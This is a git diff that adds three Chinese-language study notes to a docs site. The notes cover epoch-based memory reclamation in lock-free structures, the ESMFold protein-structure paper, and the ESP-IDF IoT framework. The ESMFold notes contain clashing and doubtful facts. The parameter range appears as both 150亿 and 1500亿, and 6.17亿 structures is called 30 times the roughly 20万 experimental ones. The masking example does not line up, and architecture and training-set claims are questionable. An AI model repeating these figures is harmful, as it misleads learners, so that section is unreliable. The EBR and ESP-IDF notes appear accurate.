+- **不参与扫描的线程**：当前不在临界区、处于 quiescent 的线程——避免「睡觉的线程」阻塞回收（QSBR 里程序员要保证静默；EBR 在实现里排除它们）。
+
+回收工作**分散到所有 mutator**，不需要专职 GC 线程。
+
+### 5. 与论文其它部分的边界
+
+2007 年 PDF 的主体是 **MCAS / WSTM / OSTM** 三套非阻塞 API；EBR 在实现章（Fraser 博士论文 §5.2.3）负责**应用层节点**回收。与之对照：
+
+| 对象类型 | 回收方式 |
+|----------|----------|
+| MCAS/FSTM **操作描述符**（大块、短命） | 引用计数，用完即复用 |
+| 跳表/红黑树 **节点**、STM 对象块 | **EBR** |
+| 需要严格 lock-free 进度、不能容忍卡住 | 改用 Michael SMR / Hazard Pointer（读者每条边要 announce） |
+
+## 代码示例
+
+### 示例 1：读者 / 写者共用的 EBR 临界区骨架（C 风格伪代码）
+
+下面是把 Fraser 描述翻译成最常见的 **enter → 用结构 → retire → leave** 四件套。真实库（如 crossbeam-epoch）会再加 pin 计数、缓存行对齐等细节。
+
+```c
+/* 每线程状态 */
+typedef struct {
+    uint64_t local_epoch;   /* 本线程已观察到的时代 */
+    bool     in_critical;   /* 是否在访问共享 lock-free 结构 */
+} tls_ebr_t;
+
+static _Atomic uint64_t global_epoch;
+static limbo_list_t   limbo[3];   /* 三个回收桶，下标 epoch % 3 */
+
+void ebr_enter(tls_ebr_t *tls) {
+    tls->in_critical = true;
+    tls->local_epoch = atomic_load_explicit(&global_epoch, memory_order_acquire);
+    /* 以一定概率尝试推进时代并清空最老 limbo */
+    ebr_try_advance();
+}
+
+void ebr_leave(tls_ebr_t *tls) {
+    tls->in_critical = false;
+}
+
+void ebr_retire(void *ptr) {
+    uint64_t e = atomic_load_explicit(&global_epoch, memory_order_relaxed);
+    limbo[e % 3].push(ptr);   /* 扔进当前时代的桶 */
+}
+
+/* 读侧：遍历 lock-free 链表 */
+node_t *ebr_search(node_t *head, key_t key) {
+    ebr_enter(&my_tls);
+    node_t *cur = head;
+    while (cur && cur->key < key)
+        cur = atomic_load_explicit(&cur->next, memory_order_acquire);
+    ebr_leave(&my_tls);
+    return cur;
+}
+
+/* 写侧：逻辑删除后 retire */
+bool ebr_delete(node_t **head, key_t key) {
+    ebr_enter(&my_tls);
+    /* ... CAS 从链表摘掉 node ... */
+    if (removed)
+        ebr_retire(node);
+    ebr_leave(&my_tls);
+    return removed;
+}
+```
+
+读者路径只有 `enter/leave` 里对 epoch 的一次观察；**没有** Hazard Pointer 那种「每跳一步写一张卡片」的开销。
+
+### 示例 2：Rust `crossbeam-epoch` 中的 Guard 模式
+
+工业界最常被引用的 EBR 实现是 **crossbeam-epoch**（API 受 Fraser 方案启发）。`Guard` 表示「我处在某个 epoch 的保护下，别人不能 free 我正要访问的对象」：
+
+```rust
+use crossbeam_epoch::{self as epoch, Atomic, Owned, Shared};
+
+struct Node {
+    value: i32,
+    next: Atomic<Node>,
+}
+
+fn push(stack: &Atomic<Node>, value: i32) {
+    let mut guard = epoch::pin();           // 等价于 ebr_enter
+    loop {
+        let head = stack.load(Ordering::Acquire, guard);
+        let mut node = Owned::new(Node { value, next: Atomic::null() });
+        node.next.store(head, Ordering::Release);
+        if stack
+            .compare_exchange(head, node, Ordering::Release, Ordering::Relaxed, guard)
+            .is_ok()
+        {
+            break;
+        }
+    }
+}
+
+fn pop(stack: &Atomic<Node>) -> Option<i32> {
+    let guard = epoch::pin();
+    loop {
+        let head = stack.load(Ordering::Acquire, guard);
+        if head.is_null() {
+            return None;
+        }
+        let next = unsafe { head.deref() }.next.load(Ordering::Acquire, guard);
+        if stack
+            .compare_exchange(head, next, Ordering::Release, Ordering::Relaxed, guard)
+            .is_ok()
+        {
+            unsafe { guard.defer_destroy(head) };  // 等价于 ebr_retire
+            return Some(unsafe { head.deref() }.value);
+        }
+    }
+}
+```
+
+`pin()` 可能触发全局 epoch 推进；`defer_destroy` 把节点排进当前 limbo，待 grace period 结束后由后台批量释放。
+
+### 示例 3：`ebr_try_advance` 里「全员对齐」的简化逻辑
+
+```c
+void ebr_try_advance(void) {
+    if (random() % ADVANCE_PERIOD != 0)
+        return;
+
+    uint64_t g = atomic_load_explicit(&global_epoch, memory_order_relaxed);
+    for (each thread t where t.in_critical) {
+        if (t.local_epoch != g)
+            return;   /* 还有人滞留在旧时代，不能推进 */
+    }
+    /* 所有活跃读者都已看到 g → 回收 (g-2) mod 3 的 limbo */
+    limbo[(g + 1) % 3].flush_to_allocator();
+    atomic_store_explicit(&global_epoch, g + 1, memory_order_release);
+}
+```
+
+真实实现要处理线程注册/注销、ABA、内存序；但**语义核心**就是这段：「**活跃临界区**里的线程 local epoch 全追上 global，才清空最老桶」。
+
+## 与其它回收方案对比
+
+| 维度 | EBR（Fraser） | Hazard Pointer（Michael 2004） | QSBR | Linux RCU |
+|------|---------------|-------------------------------|------|-----------|
+| 读者开销 | 极低（进/出临界区记 epoch） | 每指针一次 publish + 验证 | 需手写 quiescent 点 | 读侧常为零指令 |
+| 写者/回收 | 分散扫描 + limbo | 扫全局 hazard 表 | 等所有线程静默 | `call_rcu` 等 grace period |
+| 内存上界 | **无严格上界**（慢线程卡住） | 有界（retired 队列长度可控） | 无界 | 内核可踢线程 |
+| 严格 lock-free | **否**（卡住可饿死回收） | 是 | 否 | N/A |
+| 典型场景 | 用户态读多写少容器 | 内存敏感、要进度保证 | 手工标注的简单路径 | 内核子系统 |
+
+Fraser 的权衡很明确：EBR 换掉了 SMR/HP 在**每条边上**的 `memory barrier`，换来**弱一些的进度保证**和**可能的内存滞留**。
+
+## 踩过的坑
+
+1. **临界区范围划错**：`ebr_enter/leave` 必须包住**所有**可能解引用共享指针的代码；少包一行就是 use-after-free。
+
+2. **把 EBR 当成严格 lock-free**：论文坦诚——临界区内被抢占的线程会阻止 epoch 前进，limbo 涨满后**全员** eventually 停住。实时或硬进度需求应换 HP。
+
+3. **只准备两个 limbo 桶**：会过早复用仍在读者私有引用里的对象；**三个**是数学上紧的常数，不是随便拍的。
+
+4. **与引用计数混用节点**：EBR 管「已从共享结构摘掉」的节点；描述符等短命大块 Fraser 用引用计数——别对同一对象两套方案打架。
+
+5. **忘记 memory order**：`global_epoch` 的 publish 与读 `next` 指针的 acquire 必须配对；x86 上「能跑」不代表 ARM 安全。
+
+6. **线程爆炸时扫描成本**：`ebr_try_advance` 要扫活跃线程表；线程数上百时，推进 epoch 的摊销成本上升——JPDC 2007 横评里 EBR 在**高线程数**下不如 HP 的场景即源于此。
+
+## 在 Fraser & Harris 2007 论文中的位置
+
+该 PDF 的重点是证明：**用当今 CPU 都有的 CAS 等原语**，可以搭出实用的非阻塞 skip-list、红黑树，并与高性能锁实现同台竞技。EBR 是「让动态节点真正可分配/释放」的那块拼图：
+
+- **§1.1** 提到 Michael SMR、Herlihy pass-the-buck 等「延迟释放直到确认无读者」的家族；
+- 实现章说明对**应用数据**默认 EBR，对**操作描述符**用引用计数；
+- 开源实现曾覆盖 Alpha、IA-32、IA-64、MIPS、PowerPC、SPARC（`http://www.cl.cam.ac.uk/netos/lock-free`）。
+
+读 PDF 时可以把 **API 设计**（MCAS/WSTM/OSTM）与 **EBR** 分开学：前者教「怎么无锁改多字」；后者教「改完的烂摊子怎么安全 `free`」。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 读多写少的 lock-free 哈希、跳表、队列（用户态）
+- 愿用少量内存换读者极致轻量（相对 HP）
+- 已有 `crossbeam`、`folly` 等成熟 EBR 库，不想自研 HP 槽位管理
+
+**不适用**：
+
+- 必须证明**严格 lock-free / wait-free** 进度
+- 线程数极大且频繁推进 epoch，扫描成为热点
+- 不能容忍「一个死循环线程拖住全部回收」——用 HP 或带超时的 QSBR
+- 有 GC 的运行时——直接用 GC，不必 EBR
+
+## 历史脉络（简表）
+
+| 年份 | 里程碑 |
+|------|--------|
+| 1980 | Kung & Lehman — limbo list 思想 |
+| 2002 | Michael — SMR / Hazard Pointer 雏形 |
+| 2003 | Fraser 博士论文 — **EBR 系统化**，三桶 + epoch 扫描 |
+| 2007 | Fraser & Harris TOCS — 非阻塞 API + EBR 工程验证 |
+| 2007 | Hart JPDC — QSBR / EBR / HP **公平横评** |
+| 2010s+ | crossbeam-epoch、各语言 lock-free 库广泛采用 |
+
+## 学到什么
+
+1. **延迟释放是 lock-free 的必修课**：无锁只解决「互斥」；**何时 `free`** 是第二战场。EBR 用「时间分片（epoch）」代替「空间登记（hazard slot）」。
+
+2. **三个桶不是实现细节，是不变量的一部分**：理解「两桶不够」的并发窗口，才算真懂 EBR。
+
+3. **进度保证与性能永远交易**：Fraser 宁可选「非严格 lock-free 的 EBR」也要砍掉 20% 的 SMR barrier 税——说明**读路径热点**往往比形式化进度更重要。
+
+4. **和 RCU 同族不同命**：都是 grace period；RCU 绑内核调度，EBR 绑用户态线程表与 probabilistic advance。
+
+## 延伸阅读
+
+- 期刊论文（本文来源）：[Concurrent Programming Without Locks (PDF)](https://www.cl.cam.ac.uk/research/srg/netos/papers/2007-cpwl.pdf) — Fraser & Harris, TOCS 2007
+- 博士论文全文：[Practical lock-freedom (UCAM-CL-TR-579)](https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-579.pdf) — EBR 细节在 §5.2.3
+- 横评：[Performance of memory reclamation for lockless synchronization (JPDC 2007)](https://csng.cs.toronto.edu/publication_files/0000/0159/jpdc07.pdf)
+- 实现参考：[crossbeam-epoch 文档](https://docs.rs/crossbeam-epoch/latest/crossbeam_epoch/)
+
+## 关联
+
+- [[hazard-pointers-2004]] — EBR 的主要替代方案；读者有界、严格 lock-free
+- [[rcu-mckenney-2017]] — 内核侧 grace period；读侧更轻、与调度器耦合
+- [[michael-scott-queue]] — 经典 lock-free 队列；回收方案常配 EBR 或 HP
+- [[jemalloc-evans-2006]] — 另一篇「多线程下别抢同一把锁」的 Cam 系性能工程
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+（暂无反向链接）
diff --git a/src/content/docs/papers/esmfold-2022.md b/src/content/docs/papers/esmfold-2022.md
new file mode 100644
index 000000000..dea673365
--- /dev/null
+++ b/src/content/docs/papers/esmfold-2022.md
@@ -0,0 +1,209 @@
+---
+title: "Evolutionary-Scale Prediction of Atomic-Level Protein Structure with a Language Model"
+来源: https://www.science.org/doi/10.1126/science.ade2574
+日期: 2026-06-13
+分类: 机器学习
+子分类: 生物信息
+provenance: pipeline-v3
+---
+
+# ESMFold：用语言模型预测蛋白质结构
+
+## 背景：蛋白质折叠问题
+
+想象一下：你有一串项链，由 20 种不同颜色的珠子组成。这串项链有多长，取决于你有多少颗珠子——从几十颗到几千颗不等。现在，把这串项链随意扔在桌上，它自己会卷成一个特定的形状。这个"从珠子序列自动卷成特定形状"的过程，就是**蛋白质折叠**。
+
+在生物体内，蛋白质的**功能取决于它的形状**。就像钥匙的形状决定它能开哪把锁一样，蛋白质的三维结构决定它能做什么。如果能从"珠子序列"直接预测出"最终形状"，就等于掌握了理解生命的一把钥匙。
+
+2020 年，DeepMind 的 AlphaFold2 震惊了世界。它主要依赖**多重序列比对（MSA）**——也就是把同一类蛋白质的"亲戚序列"找出来，对比它们的差异，从而推断哪些位置"必须一起变化"（因为结构要保持稳定）。但这有个问题：找"亲戚序列"非常耗时，预测一个蛋白质可能需要几个小时。
+
+ESMFold 的做法完全不同。它把蛋白质序列当成一门"语言"，用一个**蛋白质语言模型**直接预测结构，不需要找"亲戚"。
+
+## 核心概念 1：蛋白质语言模型
+
+### 类比：学语言的两种方式
+
+学一门新语言，你有两种方法：
+
+1. **对比学习**：同时读 100 个不同国家的同一篇文章的翻译，对比它们的差异来推断语法。这就像 AlphaFold2 用的 MSA 方法。
+2. **海量阅读**：直接读 100 亿句话，读得够多之后，自然就能猜出下一个词是什么，也理解了语言的"结构"。ESMFold 用的就是这种方法。
+
+ESMFold 基于 **ESM-2** 模型，这是一个用 Transformer 架构训练的蛋白质语言模型。训练方式是"填空格"——把一段蛋白质序列中的某些氨基酸"遮住"，让模型猜被遮住的是什么。
+
+```python
+# 类比：给语言模型"填空格"
+# 假设蛋白质序列是: A-R-G-I-N-I-N
+# 遮住后变成:          A-?-G-?-?-?-N
+# 模型的任务是猜出每个"?"处应该填什么氨基酸
+
+sequence = "ARGININ"
+masked_sequence = "A?G???"
+# 训练时，模型会看到大量这样的"填空题"
+# 经过在 2.8 亿条蛋白质序列上的训练
+# 模型学会了氨基酸之间的"搭配规则"
+```
+
+ESM-2 有从 8000 万到 150 亿参数的多个版本。论文发现，当模型规模达到 **150 亿参数**时，模型内部表示中会"自然涌现"出蛋白质的结构信息——就像一个人学语言学得足够深之后，不仅会说话，还理解了语法和逻辑。
+
+## 核心概念 2：从语言表示到 3D 结构
+
+### 类比：从"文字描述"画出"三维模型"
+
+ESM-2 模型理解蛋白质序列后，输出的不是结构坐标，而是一系列**注意力图**——显示哪些位置的氨基酸"彼此关注"。这些注意力模式隐含了哪些氨基酸在空间中距离很近的信息。
+
+ESMFold 在这之上加了一个 **Structure Module**，它做的事情就像从文字描述构建 3D 模型：
+
+1. **输入**：ESM-2 对每条序列产生的"理解"（嵌入表示）
+2. **处理**：通过一个迭代 refinment 的神经网络，逐步调整每个原子的位置
+3. **输出**：每个原子的 3D 坐标（x, y, z），生成 .pdb 文件
+
+```python
+# 使用 ESMFold 预测蛋白质结构的基本流程
+import esm
+
+# 1. 加载预训练模型（以 ESMFold 为例）
+model = esm.pretrained.esmfold_v1()
+model.eval()
+
+# 2. 输入蛋白质序列（用单字母氨基酸代码）
+# 例如：肌红蛋白（Myoglobin）的前 20 个氨基酸
+sequence = "MVLSEGEWQLVLNVWGA"
+
+# 3. 直接预测结构（不需要 MSA！）
+prediction = model.infer_pdb(sequence)
+
+# 4. 结果保存为 PDB 文件（蛋白质 3D 坐标的标准格式）
+with open("myoglobin.pdb", "w") as f:
+    f.write(prediction)
+
+# 运行时间：约 3 秒（对比 AlphaFold2 需要数小时）
+```
+
+## 核心概念 3：为什么这么快？
+
+AlphaFold2 的慢在于第一步：为每条序列做 MSA 搜索。它需要在庞大的数据库（如 UniRef）中查找相似序列，这就像你要写一篇文章，需要先读遍全图书馆找参考资料。
+
+ESMFold 不需要这步。它就像读过全图书馆的人，看到序列后直接凭"记忆"写出结论。
+
+```python
+# 速度对比示意
+import time
+
+def alphafold2_predict(sequence, database):
+    """AlphaFold2：需要先搜索数据库找相似序列"""
+    start = time.time()
+    msa = search_sequence_against_database(sequence, database)  # 耗时步骤
+    structure = alphafold2(msa)
+    elapsed = time.time() - start
+    return structure, elapsed
+
+def esmfold_predict(sequence, model):
+    """ESMFold：直接前向传播"""
+    start = time.time()
+    embeddings = model.encode(sequence)   # 模型内部"理解"序列
+    structure = model.decode(embeddings)  # 从嵌入中"翻译"出结构
+    elapsed = time.time() - start
+    return structure, elapsed
+
+# 实际测试（论文中的数据）：
+# AlphaFold2: ~3 hours per protein
+# ESMFold:    ~3 seconds per protein
+# 加速比: ~3600 倍
+```
+
+## 核心概念 4：ESM 大科学项目——结构即涌现
+
+ESMFold 论文最震撼的发现不是"它更快"，而是 **"随着模型变大，结构信息自然涌现"**。
+
+作者训练了从 8000 万到 1500 亿参数的 ESM 模型。他们发现：
+
+| 模型大小 | 参数量 | 是否有结构信息 |
+|---------|--------|--------------|
+| ESM-1v | 8,000 万 | 很弱 |
+| ESM-2 (650M) | 6.5 亿 | 有 |
+| ESM-2 (3B) | 30 亿 | 强 |
+| ESM-2 (15B) | 150 亿 | 很强 |
+
+这意味着：**你不需要教模型"结构是什么"**，只要给它足够多的蛋白质序列数据、足够大的模型，它自己就学会了空间的折叠规则。这类似于：你不需要教孩子"物理定律"，他通过观察世界自然就懂了重力。
+
+## 核心概念 5：ESM 结构图谱
+
+基于 ESMFold 的速度优势，作者预测了 **超过 6.17 亿条** 来自自然界（土壤、海洋等环境样本）的蛋白质序列的结构，其中超过 **2.25 亿条** 预测置信度高。这被称为 **ESM 结构图谱（ESM Structure Atlas）**。
+
+作为对比，人类用实验方法（X 射线晶体学、冷冻电镜）花了 50 年，才积累了约 20 万条蛋白质结构。ESMFold 在几个月内就生成了 6 亿多条。
+
+```python
+# 评估预测质量：用 pLDDT 置信度评分
+# pLDDT（predicted Local Distance Difference Test）类似 AlphaFold 的置信度分数
+# 范围 0-100，分数越高表示预测越可信
+
+# pLDDT 评分解读：
+# 90-100: 极高置信度，原子级准确
+# 70-90:  良好，主链可靠
+# 50-70:  中等，侧链可能有偏差
+# < 50:   低置信度，可能无序
+
+# 在 CAMEO（蛋白质结构预测持续评估）基准测试中：
+# ESMFold 在 87.8% 的测试蛋白上达到与 AlphaFold2 相当的准确度
+# 同时快 3600 倍
+```
+
+## 核心概念 6：训练与架构细节
+
+ESMFold 的完整架构由两部分组成：
+
+```
+ESM-2 (语言模型) → Structure Module (结构解码器)
+       ↓                    ↓
+  理解氨基酸序列        输出 3D 原子坐标
+```
+
+**ESM-2 部分**：
+- 基于 Transformer 架构（与 GPT 类似）
+- 使用 **RoPE（旋转位置编码）** 而不是传统的位置编码
+- 在 2.8 亿条蛋白质序列上训练
+- 训练目标：掩码预测（Masked Language Modeling）
+
+**Structure Module 部分**：
+- 借鉴 AlphaFold2 的设计，但做了简化
+- 使用 **SE(3)-Transformer**，保证输出满足旋转和平移不变性
+- 迭代 refinment 24 次，逐步优化结构
+
+```python
+# ESMFold 训练过程示意
+# 第一步：训练 ESM-2 语言模型
+# 模型学会从序列中"理解"蛋白质的"语法"
+
+language_model = ESM2.from_pretrained("esm2_t33_650M_UR50D")
+
+# 第二步：用已知结构数据微调 Structure Module
+# 从 PDB（Protein Data Bank，已知的蛋白质结构数据库）中取约 4900 条
+# 这些数据有实验测得的 3D 坐标
+
+known_structures = load_pdb_database("pdb_2021")
+structure_module = StructureModule()
+
+# 训练：输入序列，让模型输出坐标，和真实坐标对比
+for sequence, true_coords in known_structures:
+    embeddings = language_model(sequence)
+    predicted_coords = structure_module(embeddings)
+    loss = compare(predicted_coords, true_coords)  # 计算误差
+    structure_module.update_gradients(loss)
+
+# 注意：ESM-2 本身在第二步是冻结的（不更新）
+# 只有 Structure Module 在学习
+```
+
+## 学习要点总结
+
+1. **蛋白质 = 氨基酸序列**，序列决定形状，形状决定功能
+2. **AlphaFold2** 找"亲戚序列"来辅助预测，但很慢
+3. **ESMFold** 把蛋白质当"语言"，用大规模语言模型直接预测，快 3600 倍
+4. **规模涌现**：模型越大，越能自发理解"结构"，无需明确教
+5. **ESM 结构图谱**：预测了 6.17 亿条蛋白质结构，是实验数据量的 30 倍
+6. 核心架构 = ESM-2 语言编码 + SE(3)-Transformer 结构解码
+
+## 进一步思考的问题
+
+- ESMFold 的预测准确度虽然接近 AlphaFold2，但在 MSA 信息丰富的情况下（如家族蛋白），AlphaFold2 仍然更准。这说明"找亲戚"的信息和"大规模预训练"的信息各有价值。
+- 6.17 亿条结构中，很多属于自然界从未被观察过的蛋白质。这意味着我们对"蛋白质能长什么样"的认知还极其有限。
diff --git a/src/content/docs/papers/esp-idf-overview.md b/src/content/docs/papers/esp-idf-overview.md
new file mode 100644
index 000000000..4851427d8
--- /dev/null
+++ b/src/content/docs/papers/esp-idf-overview.md
@@ -0,0 +1,312 @@
+---
+title: ESP-IDF — Espressif IoT Development Framework 零基础学习笔记
+来源: https://docs.espressif.com/projects/esp-idf/en/latest/esp32/
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你要把一间**毛坯房**改造成可远程控制的智能小屋：
+
+- **ESP32 芯片**是房子本身：有墙（Flash/RAM）、有水电接口（GPIO、SPI、I2C）、自带 Wi-Fi/蓝牙天线。
+- **Arduino 草图式写法**像买成品家具自己拧螺丝——快，但全屋定制到 50 个房间时很难维护。
+- **ESP-IDF** 则是乐鑫官方的**装修总承包 + 建材超市**：FreeRTOS 管排班（多任务），Wi-Fi/BLE 协议栈是预制管线，驱动是标准插座，CMake 是施工图，`idf.py` 是工地监理一键「量房 → 施工 → 验收 → 通电试机」。
+
+你写的业务逻辑放在 `app_main()` 里，像「业主入住后怎么按开关」；其余水电煤（TCP/IP、TLS、OTA、电源管理）从组件货架上勾选即可。官方文档入口：[ESP-IDF Programming Guide](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/)。
+
+## 这篇框架在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 项目 | ESP-IDF — Espressif 官方 IoT 软件开发框架 |
+| 语言 | C / C++（应用层以 C 为主） |
+| 目标芯片 | ESP32、ESP32-S2/S3/C2/C3/C6/H2/H4、ESP32-P4 等系列 SoC |
+| 内核 | FreeRTOS（多核芯片为 IDF 定制 SMP 版，基于 Vanilla FreeRTOS 10.5.1） |
+| 构建 | CMake + Ninja，前端工具 `idf.py` |
+| 配置 | Kconfig → 项目根目录 `sdkconfig`（`idf.py menuconfig`） |
+| 烧录/调试 | esptool.py 烧录，`idf.py monitor` 串口监视 |
+| 组件生态 | 内置 100+ 官方组件 + [ESP Component Registry](https://components.espressif.com/) |
+
+ESP-IDF 不是「一个头文件库」，而是一套**可裁剪的嵌入式发行版**：同一套 API 覆盖从灯泡固件到带屏工业网关；数百万量产设备跑在同一框架上，文档同时覆盖「怎么用」和「为什么这么设计」。
+
+## 为什么值得学
+
+| 场景 | ESP-IDF 提供的价值 |
+|------|---------------------|
+| 产品级 Wi-Fi / BLE / Mesh | 官方协议栈、认证路径、长期维护 |
+| 从 Arduino 升级 | 保留硬件经验，获得任务隔离、menuconfig、OTA、分区表 |
+| 低功耗传感器节点 | 电源管理 API、Light Sleep / Deep Sleep 与唤醒源配置 |
+| 团队工程化 | 组件化、`idf_component.yml` 依赖锁定、CI 可用 CLI 安装（EIM） |
+| 面试「嵌入式 IoT」 | `app_main`、组件、sdkconfig、NVS、事件循环是高频考点 |
+
+若你只需要「点亮 LED + 串口打印」且不关心体积与协议栈，Arduino-ESP32 仍更快；一旦涉及 **TLS、多任务、工厂烧录、安全启动、FOTA**，ESP-IDF 几乎是乐鑫生态的默认答案。
+
+## 核心概念一：工程结构（Project / App / Component）
+
+官方构建指南把概念拆得很清楚：
+
+```
+  my_project/
+  ├── CMakeLists.txt          # 项目入口，声明 project()
+  ├── sdkconfig               # menuconfig 生成的全局配置（勿手改为主）
+  ├── main/
+  │   ├── CMakeLists.txt      # 注册 main 组件
+  │   └── app_main.c          # 用户入口（不是 main()）
+  ├── components/             # 可选：项目私有组件
+  └── managed_components/     # 组件管理器自动下载的依赖
+```
+
+| 术语 | 含义 |
+|------|------|
+| **Project** | 一个目录 + 一份 `sdkconfig`，产出可烧录固件 |
+| **App** | 可执行镜像；通常一次构建产出 **bootloader** + **主应用** |
+| **Component** | 编译成静态库 `.a` 再链接进 App 的模块（驱动、协议、业务） |
+| **Target** | 芯片型号，如 `esp32`、`esp32s3`；`idf.py set-target` 切换 |
+| **ESP-IDF 本体** | 通过环境变量 `IDF_PATH` 指向，**不属于**你的 Git 仓库 |
+
+类比：Project 是楼盘；Component 是预制墙板；App 是交付的精装单元；`sdkconfig` 是户型勾选表（要不要中央空调 = 要不要 Wi-Fi 企业级功能）。
+
+## 核心概念二：启动链与 `app_main`
+
+与裸机 `main()` 或 Vanilla FreeRTOS 不同：
+
+- **不要**自己调用 `vTaskStartScheduler()` —— IDF 启动时已完成。
+- **要**实现 `void app_main(void)`，框架在初始化堆、NVS、默认事件循环等之后调用它。
+- `app_main` 可以 `return`（任务结束）；更常见的是在里头 `xTaskCreate` 后阻塞或挂起自身。
+
+典型启动顺序（简化）：
+
+```
+  ROM Bootloader → 二级 Bootloader → 应用入口
+        → CPU/时钟/堆初始化 → NVS Flash 初始化
+        → 启动 FreeRTOS → 创建系统后台任务
+        → 调用 app_main()
+```
+
+多核 ESP32 上跑的是 **IDF FreeRTOS（SMP）**：任务可固定到 Core 0/1，或默认由调度器分配；单核芯片（如 ESP32-C3）或 `CONFIG_FREERTOS_UNICORE=y` 时行为更接近标准 FreeRTOS。
+
+## 核心概念三：`idf.py` 与 menuconfig
+
+日常开发四条命令记牢：
+
+```bash
+idf.py set-target esp32      # 首次或换芯片时
+idf.py menuconfig            # 图形化改 sdkconfig
+idf.py build                 # CMake 配置 + Ninja 编译
+idf.py -p /dev/ttyUSB0 flash monitor   # 烧录并打开串口监视
+```
+
+`idf.py build` 背后等价于在 `build/` 目录执行 `cmake .. -G Ninja` 再 `ninja`。并行度可用 `IDF_PY_BUILD_JOBS=6 idf.py build` 限制。
+
+**menuconfig** 是 Kconfig 的前端：Wi-Fi 缓冲区、日志级别、FreeRTOS Tick、分区表类型、蓝牙模式等上千项开关都落在 `sdkconfig`。团队协作时通常：
+
+- 把 `sdkconfig.defaults` 提交 Git（团队基线）
+- 本地 `sdkconfig` 加入 `.gitignore` 或按产品 flavor 用 `sdkconfig.ci` 等 profile
+
+## 代码示例一：最小 `app_main`（Hello + 日志）
+
+ESP-IDF 用 **esp_log** 分级打印，比裸 `printf` 更易过滤：
+
+```c
+#include <stdio.h>
+#include "freertos/FreeRTOS.h"
+#include "freertos/task.h"
+#include "esp_log.h"
+
+static const char *TAG = "hello";
+
+void app_main(void)
+{
+    int i = 0;
+    while (1) {
+        ESP_LOGI(TAG, "Hello from ESP-IDF! count=%d", i++);
+        vTaskDelay(pdMS_TO_TICKS(1000));  /* 阻塞 1s，让出 CPU */
+    }
+}
+```
+
+要点：
+
+- `ESP_LOGI` / `ESP_LOGW` / `ESP_LOGE` 配合 `TAG`，在 menuconfig 里可调全局与 per-tag 级别。
+- `pdMS_TO_TICKS(ms)` 把毫秒换成 RTOS tick，避免硬编码 `configTICK_RATE_HZ`。
+- `app_main` 本身运行在一个任务上下文里，栈默认由配置项 `CONFIG_ESP_MAIN_TASK_STACK_SIZE` 决定。
+
+## 代码示例二：GPIO 输出 + 组件化 CMake
+
+**main/CMakeLists.txt**（注册源文件与依赖）：
+
+```cmake
+idf_component_register(SRCS "blink_main.c"
+                    INCLUDE_DIRS ".")
+```
+
+**main/blink_main.c**（经典 Blink，引脚可在 menuconfig 或代码里定义）：
+
+```c
+#include "freertos/FreeRTOS.h"
+#include "freertos/task.h"
+#include "driver/gpio.h"
+#include "esp_log.h"
+
+#define BLINK_GPIO CONFIG_BLINK_GPIO   /* 来自 Kconfig，或写死 GPIO_NUM_2 */
+
+static const char *TAG = "blink";
+
+void app_main(void)
+{
+    gpio_reset_pin(BLINK_GPIO);
+    gpio_set_direction(BLINK_GPIO, GPIO_MODE_OUTPUT);
+
+    while (1) {
+        gpio_set_level(BLINK_GPIO, 1);
+        ESP_LOGI(TAG, "LED on");
+        vTaskDelay(pdMS_TO_TICKS(500));
+        gpio_set_level(BLINK_GPIO, 0);
+        ESP_LOGI(TAG, "LED off");
+        vTaskDelay(pdMS_TO_TICKS(500));
+    }
+}
+```
+
+在 `main/Kconfig.projbuild` 里可添加：
+
+```
+menu "Example Configuration"
+    config BLINK_GPIO
+        int "Blink GPIO number"
+        range 0 48
+        default 2
+endmenu
+```
+
+这样 `idf.py menuconfig → Example Configuration` 即可改引脚而无需改 C 代码——**Kconfig 管「可配置项」，代码用 `CONFIG_*` 宏读取**，与 Linux 内核习惯一致。
+
+## 代码示例三：两任务 + 队列（传感器 → 上报）
+
+展示 IDF 应用最常见的 FreeRTOS 模式（与 [FreeRTOS 笔记](./freertos-overview.md) 概念对齐）：
+
+```c
+#include "freertos/FreeRTOS.h"
+#include "freertos/task.h"
+#include "freertos/queue.h"
+#include "esp_log.h"
+
+typedef struct {
+    int temperature;
+    int humidity;
+} reading_t;
+
+static QueueHandle_t s_queue;
+static const char *TAG = "demo";
+
+static void sensor_task(void *arg)
+{
+    reading_t r = { .temperature = 25, .humidity = 60 };
+    for (;;) {
+        r.temperature++;
+        xQueueSend(s_queue, &r, portMAX_DELAY);
+        vTaskDelay(pdMS_TO_TICKS(200));
+    }
+}
+
+static void upload_task(void *arg)
+{
+    reading_t r;
+    for (;;) {
+        if (xQueueReceive(s_queue, &r, portMAX_DELAY) == pdTRUE) {
+            ESP_LOGI(TAG, "upload T=%d H=%d", r.temperature, r.humidity);
+        }
+    }
+}
+
+void app_main(void)
+{
+    s_queue = xQueueCreate(4, sizeof(reading_t));
+    xTaskCreate(sensor_task, "sensor", 2048, NULL, 5, NULL);
+    xTaskCreate(upload_task, "upload", 4096, NULL, 4, NULL);
+}
+```
+
+真实项目里 `upload_task` 会调用 `esp_http_client` 或 MQTT；网络栈初始化通常在 `app_main` 开头调用 `esp_netif_init()`、`esp_event_loop_create_default()` 等（参见官方 `protocol_examples_common`）。
+
+## 核心概念四：组件与 Component Manager
+
+每个组件目录包含 `CMakeLists.txt`，最少调用一次 `idf_component_register()`。项目通过 `REQUIRES` / `PRIV_REQUIRES` 声明依赖，构建系统自动传递头文件路径与链接顺序。
+
+**托管依赖**：在组件或 `main` 下放 `idf_component.yml`：
+
+```yaml
+dependencies:
+  espressif/led_strip: "^2.5.0"
+```
+
+执行 `idf.py build` 时，Component Manager 把包装进 `managed_components/`，无需手动 `git submodule`。
+
+**BSP（Board Support Package）** 是一类特殊组件：把某块 DevKit 的 LED、按键、屏幕、音频 Codec 封装成统一 API，适合教程与快速验证硬件。
+
+## 核心概念五：存储、分区与 NVS
+
+| 机制 | 用途 |
+|------|------|
+| **分区表** | 定义 Flash 上 bootloader / app / OTA_0 / OTA_1 / spiffs / nvs 等布局 |
+| **NVS** | 键值存储（Wi-Fi 凭据、校准数据、用户配置），掉电保留 |
+| **SPIFFS / LittleFS / FAT** | 文件语义，日志落盘、资源包 |
+| **efuse** | 芯片级一次性配置（安全启动、Flash 加密） |
+
